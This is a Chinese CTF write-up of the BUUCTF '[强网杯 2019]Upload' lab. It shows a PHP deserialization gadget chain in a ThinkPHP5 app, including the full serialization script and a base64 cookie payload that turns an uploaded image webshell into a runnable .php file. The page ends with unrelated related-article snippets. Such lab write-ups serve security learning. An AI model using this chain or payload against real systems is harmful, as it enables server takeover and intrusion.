2025.1.20——四、[强网杯 2019]Upload1 文件上传|反序列化

题目来源:buuctf  [强网杯 2019]Upload 1

目录

一、打开靶机,查看信息

二、解题思路

step 1:登陆进去看情况

step 2:大佬来支援——问题在cookie

step 3:测试两个思路

1.目录穿越

2.目录扫描

step 4:代码审计

step 5:魔术方法利用copy

step 5:调用方法

step 6:得到上传路径

step 7:蚁剑连接

三、小结


一、打开靶机,查看信息

        根据题目可得是文件上传题目,但这里并没有上传文件的地方,先注册账号登陆进去看看情况。

二、解题思路

step 1:登陆进去看情况

        上传了个gif文件,发现变成了头像,查看源码发现文件名和后缀都被改了,

step 2:大佬来支援——问题在cookie

        确实没有头绪了,看了大佬的wp,发现cookie有新信息。

这里提示:下次可以抓包看新信息,抓包也可以发现这里的问题

        很像base x编码,但是少了点东西,base 64少了俩==,去试试,发现提示:只有302位,不是4的倍数,无法解码。这不巧了?加上俩==,刚好304位可以解码了,得到熟悉的东西:

a:5:{s:2:"ID";i:4;s:8:"username";s:1:"1";s:5:"email";s:10:"123@qq.com";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";s:3:"img";s:79:"../upload/5e6f2693d111128ec4f1d7336f65b87f/ab7a128e83ca216c120791232caaf9a9.png";}7

        是序列化数据。所以说cookie为注册信息序列化后的值,这里有两个思路:①根据序列化中传入的路径能否目录穿越;②扫描网站备份文件

step 3:测试两个思路

1.目录穿越

        没有什么思路,先pass掉

2.目录扫描

        扫描出一个www.tar.gz在网页根目录,下载下来看一下

        这样才能下载下来,发现是ThinkPHP5框架,看看其中内容

        既然是php文件,用phpstorm打开,主要功能在这四个文件上,要开始代码审计了

step 4:代码审计

        代码太多了,我们要找重点,比如刚才的登陆页面只有上传文件的cookie信息。

        整体功能:从用户的Cookie中获取用户信息,将其解码和反序列化,然后与数据库中的用户信息进行比较,以验证用户登陆是否有效。

        而且还会对cookie数据进行base64解码,然后进行反序列化,将其转换为原始的数据结构

        然后找找upload代码信息

        大佬说利用点在这里:copy。这个copy(source,dest)将文件从source拷贝到dest。成功时返回TRUE,失败时返回FALSE,所以这里的$this->filename_tmp和$thie->filename在可控的情况下,可以将上传的一句话的png格式文件拷贝成php后缀的文件,这样就可以运行一句话了。即

copy($this->filename_tmp,$this->filename); // 最终得到一个shell.php文件

        那么该怎么利用呢?

step 5:魔术方法利用copy

        这里要用到两个魔术方法:①__get();②__call()

__get():一个类里有私有变量,外界无法访问,可以用该魔术方法间接访问

示例:

__call():调用了一个类里没有的方法,那么就会自动调用该魔术方法,其中第一个参数表示不存在的方法名字,第二个参数接收传入的参数

示例:

在Profile.php是这样呈现的

        在__call方法中,需要将$this->{ $this->{$name}}中的蓝色部分的值为upload_img,就能调用upload_img方法,那怎么做到呢?

        (我想不出来(´。_。`),看看大佬们的wp吧,看懂了就算学会了)

step 5:调用方法

以下步骤摘自BUUCTF-WEB 【强网杯】 2019]Upload 1 | Fan的小酒馆

        在Register.php文件中。

Register中的__destruct方法调用了$this->checker->index();假设,我们把$this->checker改成Profile类,那这里的语句就能够触发Profile::__call方法。这样一条链条就形成了。

Register::__construct()->Register::__destruct()->Profile::__call()->Profile::__get()->Profile::__call()->Profile::upload_img()->copy()

Register::__construct()中将$this->checker指定为new Profile(),

Register::__destruct() 会调用Profile类中的index方法,发现找不到,会触发Profile::__call。

public function __get($name)
    {
        echo $name;
        return $this->except[$name];
    }
public function __call($name, $arguments)
    {
        if ($this->{$name}) {
            $this->{$this->{$name}}($arguments);
        }
    }

        触发Profile::__call,$name的值则为index,当执行到$this->{$name}发现找不到index这个属性,又会触发__get__get则会从$this->except数组中取键名为index的值返回。当我们把$this->except属性值设置为["index"=>"upload_img"],这样在执行$this->{$this->{$name}}($arguments);一句时,$this->{$name}不就是upload_img了吗。然后就会进入到upload_img方法中,接下来只需要修改一些属性值,就能执行到copy($this->filename_tmp,$this->filename);。这里怎么利用刚刚已经说过了。

(感叹一下这个思路,看懂了链式反应,但是看不进去。。。再努努力)

        下一步:先注册一个账号,上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。

step 6:得到上传路径

        没有得到跳转,所以去cookie信息里找到的

/upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png

        上脚本进行序列化(脚本来源:[强网杯 2019]Upload | 北歌)

<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/39e37d1a8e648846d5afe11e7e9c3ee2.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC81ZTZmMjY5M2QxMTExMjhlYzRmMWQ3MzM2ZjY1Yjg3Zi8zOWUzN2QxYThlNjQ4ODQ2ZDVhZmUxMWU3ZTljM2VlMi5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzVlNmYyNjkzZDExMTEyOGVjNGYxZDczMzZmNjViODdmLzM5ZTM3ZDFhOGU2NDg4NDZkNWFmZTExZTdlOWMzZWUyLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

        然后将其放入cookie后,在根目录多刷新几次,发现再次访问这个文件夹就是php文件,并且成功解析一句话,可以上蚁剑了

step 7:蚁剑连接

        常规操作

URL:实例无法访问 / Instance can't be reached at that time | BUUCTF

成功找到flag

三、小结

1.这个题跨越两天,不知道为什么第一天蚁剑怎么都连不上,明明看到文件上传成功,也看到了/upload/界面上传路径,但是马始终显示不出来。无奈只能暂时放弃,结果第二天一次成功,有古怪。所以第一天做不出来可以先放放

2.查看页面信息,不要忘记cookie数据

3.数据信息解密也很重要

4.学习到两个魔术方法:__get()、__call()

5.代码审计逻辑要明白

​​​​​

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/958495.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Go学习:iota枚举

iota注意事项&#xff1a; iota&#xff1a;常量自动生成器&#xff0c;每隔一行&#xff0c;自动累加iota给常量赋值使用iota 遇到 const&#xff0c;重置为 0可以只写一个iotaiota如果是同一行&#xff0c;值都一样 简单代码&#xff1a; package mainimport "fmt&qu…

2025 OWASP十大智能合约漏洞

随着去中心化金融&#xff08;DeFi&#xff09;和区块链技术的不断发展&#xff0c;智能合约安全的重要性愈发凸显。在此背景下&#xff0c;开放网络应用安全项目&#xff08;OWASP&#xff09;发布了备受期待的《2025年智能合约十大漏洞》报告。 这份最新报告反映了不断演变的…

双指针+前缀和习题(一步步讲解)

前言&#xff1a;如果解决下面这几道题有些问题&#xff0c;或者即使看了我画的过程图也不理解的可以去看看我的上一篇文章&#xff0c;有可能会对你有帮助。 一、《数值元素的目标和》---来自AcWing 数组元素的目标和 给定两个升序排序的有序数组 A和 B&#xff0c;以及一个…

单路由及双路由端口映射指南

远程登录总会遇到登陆不上的情况&#xff0c;可能是访问的大门没有打开哦&#xff0c;下面我们来看看具体是怎么回事&#xff1f; 当软件远程访问时&#xff0c;主机需要两个条件&#xff0c;一是有一个唯一的公网IP地址&#xff08;运营商提供&#xff09;&#xff0c;二是开…

Addressable学习

AssetsBundle是Unity的资源管理机制,将资源打包到AssetsBundle资源包并提供接口能从ab包里面加载资源出来。有了这个机制以后&#xff0c;我们要做资源管理&#xff0c;还需要做: a: 根据项目需求,编写编辑器扩展,提供指定资源打入对应bundle包工具策略; b: 根据项目的需求,资源…

大华相机DH-IPC-HFW3237M支持的ONVIF协议

使用libONVIF C库。 先发现相机。 配置 lib目录 包含 编译提示缺的文件&#xff0c;到libonvif里面拷贝过来。 改UDP端口 代码 使用msvc 2022的向导生成空项目&#xff0c;从项目的main示例拷贝过来。 CameraOnvif.h #pragma once#include <QObject> #include &l…

leetcode刷题记录(八十六)——84. 柱状图中最大的矩形

&#xff08;一&#xff09;问题描述 84. 柱状图中最大的矩形 - 力扣&#xff08;LeetCode&#xff09;84. 柱状图中最大的矩形 - 给定 n 个非负整数&#xff0c;用来表示柱状图中各个柱子的高度。每个柱子彼此相邻&#xff0c;且宽度为 1 。求在该柱状图中&#xff0c;能够勾…

centos9编译安装opensips 二【进阶篇-定制目录+模块】推荐

环境&#xff1a;centos9 last opensips -V version: opensips 3.6.0-dev (x86_64/linux) flags: STATS: On, DISABLE_NAGLE, USE_MCAST, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, HP_MALLOC, DBG_MALLOC, CC_O0, FAST_LOCK-ADAPTIVE_WAIT ADAPTIVE_WAIT_LOOPS1024, MAX_RE…

SpringBoot 实现动态管理定时任务 Job的动态操作(添加、修改、启停、执行、删除)以及界面展示和具体Job的创建与执行示例

SpringBoot 实现动态管理定时任务 Job的动态操作&#xff08;添加、修改、启停、执行、删除&#xff09;以及界面展示和具体Job的创建与执行示例 关键接口类&#xff1a; CronTaskRegistrar SchedulingRunnable . 添加定时任务注册类&#xff0c;用来增加、删除定时任务 impo…

LLMs的星辰大海:大语言模型的前世今生

文章目录 一. LLM 的演进&#xff1a;从规则到智能的跃迁 &#x1f4ab;1.1 语言模型的蹒跚起步 &#x1f476;1.2 RNN 与 LSTM&#xff1a;序列建模的尝试 &#x1f9d0;1.3 Transformer 的横空出世&#xff1a;自注意力机制的革命 &#x1f4a5;1.4 LLM &#xff1a;从预测到…

路由器旁挂三层网络实现SDWAN互联(爱快SD-WAN)

近期因公司新办公区建设&#xff0c;原有的爱快路由器的SDWAN功能实现分支之间互联的服务还需要继续使用。在原有的小型网络中&#xff0c;使用的爱快路由器当作网关设备&#xff0c;所以使用较为简单,如下图所示。 现变更网络拓扑为三层网络架构&#xff0c;但原有的SDWAN分支…

flutter_学习记录_00_环境搭建

1.参考文档 Mac端Flutter的环境配置看这一篇就够了 flutter的中文官方文档 2. 本人环境搭建的背景 本人的电脑的是Mac的&#xff0c;iOS开发&#xff0c;所以iOS开发环境本身是可用的&#xff1b;外加Mac电脑本身就会配置Java的环境。所以&#xff0c;后面剩下的就是&#x…

15_业务系统基类

创建脚本 SystemRoot.cs 因为 业务系统基类的子类 会涉及资源加载服务层ResSvc.cs 和 音乐播放服务层AudioSvc.cs 所以在业务系统基类 提取引用资源加载服务层ResSvc.cs 和 音乐播放服务层AudioSvc.cs 并调用单例初始化 using UnityEngine; // 功能 : 业务系统基类 public c…

docker 安装 redis 详解

在平常的开发工作中&#xff0c;我们经常会用到 redis&#xff0c;那么 docker 下应该如何安装 redis 呢&#xff1f;简单来说&#xff1a;第一步&#xff1a;拉取redis镜像&#xff1b;第二步&#xff1a;设置 redis.conf 配置文件&#xff1b;第三步&#xff1a;编写 docker-…

困境如雾路难寻,心若清明步自轻---2024年创作回顾

文章目录 前言博客创作回顾第一次被催更第一次获得证书周榜几篇博客互动最多的最满意的引发思考的 写博契机 碎碎念时也运也部分经验 尾 前言 今年三月份&#xff0c;我已写下一篇《近一年多个人总结》&#xff0c;当时还没开始写博客。四月份写博后&#xff0c;就顺手将那篇总…

综合与时序分析的设计约束(1)——静态时序分析简介

目录 1.绪论2.静态时序分析与动态时序分析3.时序约束在静态时序分析中的作用3.1.约束作为声明3.2. 约束作为断言3.3.约束作为指令3.4.约束作为异常3.5.约束的角色变化 4.STA需要正确约束5.时序路径起点和终点6.建立与保持6.1 建立时间6.2 保持时间6.3 裕度 7.SDC主要类型7.1 时…

【算法日记】从零开始认识动态规划(一)

挫折会来也会过去&#xff0c; 热泪会流下也会收起&#xff0c; 没有什么可以让我气馁的&#xff0c; 因为&#xff0c;我有着长长的一生。 --- 席慕蓉 《写给幸福》--- 从零开始认识动态规划 1 动态规划问题1.1 什么是动态规划算法1.2 动态规划算法如何Debug1.3 动态规划…

八股学习 微服务篇

微服务篇 常见面试内容Spring Cloud 常见组件注册中心Ribbon负载均衡策略服务雪崩 常见面试内容 Spring Cloud 常见组件 Spring Cloud有5个常见组件&#xff1a; Eureka/Nacos:注册中心&#xff1b;Ribbon:负载均衡&#xff1b;Feign:远程调用&#xff1b;Hystrix/Sentinel:服…

【矢量数据】2024年最新中国省市县乡四级矢量地图数据 [推广有奖]

中国四级矢量地图数据是当前地理信息系统&#xff08;GIS&#xff09;中广泛应用的重要资源&#xff0c;涉及国家级、省级、市级、县级及乡级行政区的空间信息。这些数据可应用于地图绘制、城市规划、政府决策及各类地理分析等领域 一、中国四级矢量地图数据的介绍 本分享数据…

力扣707题(2)——设计链表

#题目 #3,5和6的代码 今天看剩下几个题的代码&#xff0c;1,2,4的代码已经在上篇博客写过了想看的小伙伴移步到&#xff1a; 力扣707题——设计链表-CSDN博客 //第3题头插法 void addAtHead(int val){ //记录头结点ListNode nhead; //新节点的创建,并让它指向原本头结点的后…